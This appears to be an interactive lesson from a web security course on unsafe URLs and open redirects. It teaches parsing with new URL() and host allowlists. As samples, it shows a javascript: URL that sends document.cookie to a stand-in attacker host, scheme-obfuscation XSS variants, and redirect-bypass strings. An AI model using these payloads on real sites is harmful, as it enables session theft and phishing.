Track 08 · Lesson 10 of 20Attacks and defenses
- 01What HTTPS protects
- 02The same-origin policy
- 03CORS
- 04Security headers
- 05Cookies done right
- 06Cross-site scripting (XSS)
- 07Content Security Policy
- 08Cross-site request forgery (CSRF)
- 09Clickjacking
- 10Unsafe URLs and open redirects
- 11Prompt injection
- 12SQL and command injection
- 13Prototype pollution, CRLF and SVG
- 14Server-side request forgery (SSRF)
- 15Remote code execution and denial of service
- 16Spoofed headers
- 17Rate limiting
- 18Cache poisoning
- 19The OWASP Top 10
- 20The attack lab
Track 08 · Attacks and defenses
Unsafe URLs and open redirects
Lesson 10 of 20· 7 min
A URL is instructions, not just text. javascript: URLs run code when opened, and a redirect that goes wherever a parameter says lends your trusted domain to anyone.
Open a URL from the API
Try each check against every URL
window.open(article.url)The real help page
Opens the help page"https://help.example.com/articles/12"Browser reads: https: help.example.com
javascript: URL
Runs script on your origin"javascript:fetch('//evil.example?c='+document.cookie)"Browser reads: javascript:
Mixed-case scheme
Runs script on your origin"JaVaScRiPt:alert(document.domain)"Browser reads: javascript:
Leading tab
Runs script on your origin"\tjavascript:alert(1)"Browser reads: javascript:
Plain http
Opens over plain http"http://help.example.com/articles/12"Browser reads: http: help.example.com
Look-alike host
Opens help.example.com.evil.example"https://help.example.com.evil.example/"Browser reads: https: help.example.com.evil.example
Name in the path
Opens evil.example"https://evil.example/help.example.com"Browser reads: https: evil.example
Protocol-relative
Opens evil.example"//evil.example/login"Browser reads: https: evil.example
Your own
Opens the help page"https://docs.example.com/start"Browser reads: https: docs.example.com
Parse, don’t search#
Checking strings is how look-alikes get through: https://help.example.com.evil.example contains your hostname, and JaVaScRiPt: with a leading tab is still a javascript: URL to the browser. Parse with new URL() and compare the parts the browser will actually use: the protocol, and the exact hostname against an allowlist.
Frameworks escape text, but they can’t know which URLs you meant. window.open, location.href = … and iframe src set from data get no check unless you add one.
Open redirects#
Login pages often send people back to ?next= afterwards. If that accepts any URL, your domain becomes a launch pad for phishing: the link looks like yours, and lands on theirs.
Where does ?next= go?
Three checks, five tricks
redirect(searchParams.get("next") ?? "/")/login?next=/settingsStays: /settings/login?next=https://evil.example/loginLands on evil.example/login?next=//evil.exampleLands on evil.example/login?next=/\evil.exampleLands on evil.example/login?next=/%2F%2Fevil.exampleStays: /%2F%2Fevil.example
In a code review
LowFrontendURLs used for navigation without validation
Fix: Require https and an allowed host before navigating; fix iframe and script sources to known hosts.
0 of 1 checked
Check yourself